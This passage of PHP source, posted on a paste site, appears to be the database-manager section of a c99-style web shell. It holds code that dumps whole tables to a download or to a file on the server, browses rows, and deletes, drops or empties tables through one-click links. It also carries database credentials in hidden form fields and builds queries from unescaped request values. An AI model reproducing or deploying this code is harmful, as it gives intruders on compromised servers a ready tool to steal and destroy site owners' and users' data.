  1092.       header("Content-length: ".strlen($ret));
  1093.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1094.       echo $ret;
  1095.       exit;
  1096.      }
  1097.      elseif ($sql_dump_savetofile)
  1098.      {
  1099.       $fp = fopen($sql_dump_file,"w");
  1100.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1101.       else
  1102.       {
  1103.        fwrite($fp,$ret);
  1104.        fclose($fp);
  1105.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1106.       }
  1107.      }
  1108.      else {echo "<b>Dump: nothing to do!</b>";}
  1109.     }
  1110.    }
  1111.    if ($diplay)
  1112.    {
  1113.     if (!empty($sql_tbl))
  1114.     {
  1115.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1116.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1117.      $count_row = mysql_fetch_array($count);
  1118.      mysql_free_result($count);
  1119.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1120.      $tbl_struct_fields = array();
  1121.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1122.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1123.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1124.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1125.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1126.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1127.      if (!is_numeric($perpage)) {$perpage = 10;}
  1128.      $numpages = $count_row[0]/$perpage;
  1129.      $e = explode(" ",$sql_order);
  1130.      if (count($e) == 2)
  1131.      {
  1132.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1133.       else {$asc_desc = "ASC";}
  1134.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1135.      }
  1136.      else {$v = "";}
  1137.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1138.      $result = mysql_query($query) or print(mysql_smarterror());
  1139.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1140.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1141.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1142.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1143.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1144.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1145.      if ($sql_tbl_act == "insert")
  1146.      {
  1147.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1148.       if (!empty($sql_tbl_insert_radio))
  1149.       {
  1150.  
  1151.       }
  1152.       else
  1153.       {
  1154.        echo "<br><br><b>Inserting row into table:</b><br>";
  1155.        if (!empty($sql_tbl_insert_q))
  1156.        {
  1157.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1158.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1159.         $sql_query .= " LIMIT 1;";
  1160.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1161.         $values = mysql_fetch_assoc($result);
  1162.         mysql_free_result($result);
  1163.        }
  1164.        else {$values = array();}
  1165.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1166.        foreach ($tbl_struct_fields as $field)
  1167.        {
  1168.         $name = $field["Field"];
  1169.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1170.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1171.         $i++;
  1172.        }
  1173.        echo "</table><br>";
  1174.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1175.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1176.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1177.       }
  1178.      }
  1179.      if ($sql_tbl_act == "browse")
  1180.      {
  1181.       $sql_tbl_ls = abs($sql_tbl_ls);
  1182.       $sql_tbl_le = abs($sql_tbl_le);
  1183.       echo "<hr size=\"1\" noshade>";
  1184.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1185.       $b = 0;
  1186.       for($i=0;$i<$numpages;$i++)
  1187.       {
  1188.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1189.        echo $i;
  1190.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1191.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1192.        else {echo "&nbsp;";}
  1193.       }
  1194.       if ($i == 0) {echo "empty";}
  1195.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1196.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  1197.       echo "<tr>";
  1198.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1199.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1200.       {
  1201.        $v = mysql_field_name($result,$i);
  1202.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1203.        else {$s = "a"; $m = "desc";}
  1204.        echo "<td>";
  1205.        if (empty($e[0])) {$e[0] = "a";}
  1206.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1207.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1208.        echo "</td>";
  1209.       }
  1210.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1211.       echo "</tr>";
  1212.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1213.       {
  1214.        echo "<tr>";
  1215.        $w = "";
  1216.        $i = 0;
  1217.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1218.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1219.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1220.        $i = 0;
  1221.        foreach ($row as $k=>$v)
  1222.        {
  1223.         $v = htmlspecialchars($v);
  1224.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1225.         echo "<td>".$v."</td>";
  1226.         $i++;
  1227.        }
  1228.        echo "<td>";
  1229.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1230.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1231.        echo "</td>";
  1232.        echo "</tr>";
  1233.       }
  1234.       mysql_free_result($result);
  1235.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1236.       echo "<option value=\"\">With selected:</option>";
  1237.       echo "<option value=\"deleterow\">Delete</option>";
  1238.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1239.      }
  1240.     }
  1241.     else
  1242.     {
  1243.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1244.      if (!$result) {echo mysql_smarterror();}
  1245.      else
  1246.      {
  1247.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1248.       $i = 0;
  1249.       $tsize = $trows = 0;
  1250.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1251.       {
  1252.        $tsize += $row["Data_length"];
  1253.        $trows += $row["Rows"];
  1254.        $size = view_size($row["Data_length"]);
  1255.        echo "<tr>";
  1256.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1257.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1258.        echo "<td>".$row["Rows"]."</td>";
  1259.        echo "<td>".$row["Type"]."</td>";
  1260.        echo "<td>".$row["Create_time"]."</td>";
  1261.        echo "<td>".$row["Update_time"]."</td>";
  1262.        echo "<td>".$size."</td>";
  1263.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1264.        echo "</tr>";
  1265.        $i++;
  1266.       }
  1267.       echo "<tr bgcolor=\"000000\">";
  1268.       echo "<td><center><b>»</b></center></td>";
  1269.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1270.       echo "<td><b>".$trows."</b></td>";
  1271.       echo "<td>".$row[1]."</td>";
  1272.       echo "<td>".$row[10]."</td>";
  1273.       echo "<td>".$row[11]."</td>";
  1274.       echo "<td><b>".view_size($tsize)."</b></td>";
  1275.       echo "<td></td>";
  1276.       echo "</tr>";
  1277.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1278.       echo "<option value=\"\">With selected:</option>";
  1279.       echo "<option value=\"tbldrop\">Drop</option>";
  1280.       echo "<option value=\"tblempty\">Empty</option>";
  1281.       echo "<option value=\"tbldump\">Dump</option>";
  1282.       echo "<option value=\"tblcheck\">Check table</option>";
  1283.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1284.       echo "<option value=\"tblrepair\">Repair table</option>";
  1285.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1286.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1287.       mysql_free_result($result);
  1288.      }
  1289.     }
  1290.    }
  1291.    }
  1292.   }
  1293.   else
  1294.   {
  1295.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1296.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value
Language:
To highlight particular lines, prefix each line with @@








freetexthost.in © 2010-2013 - Powered by PASTE 1.0   website by GandhiG.com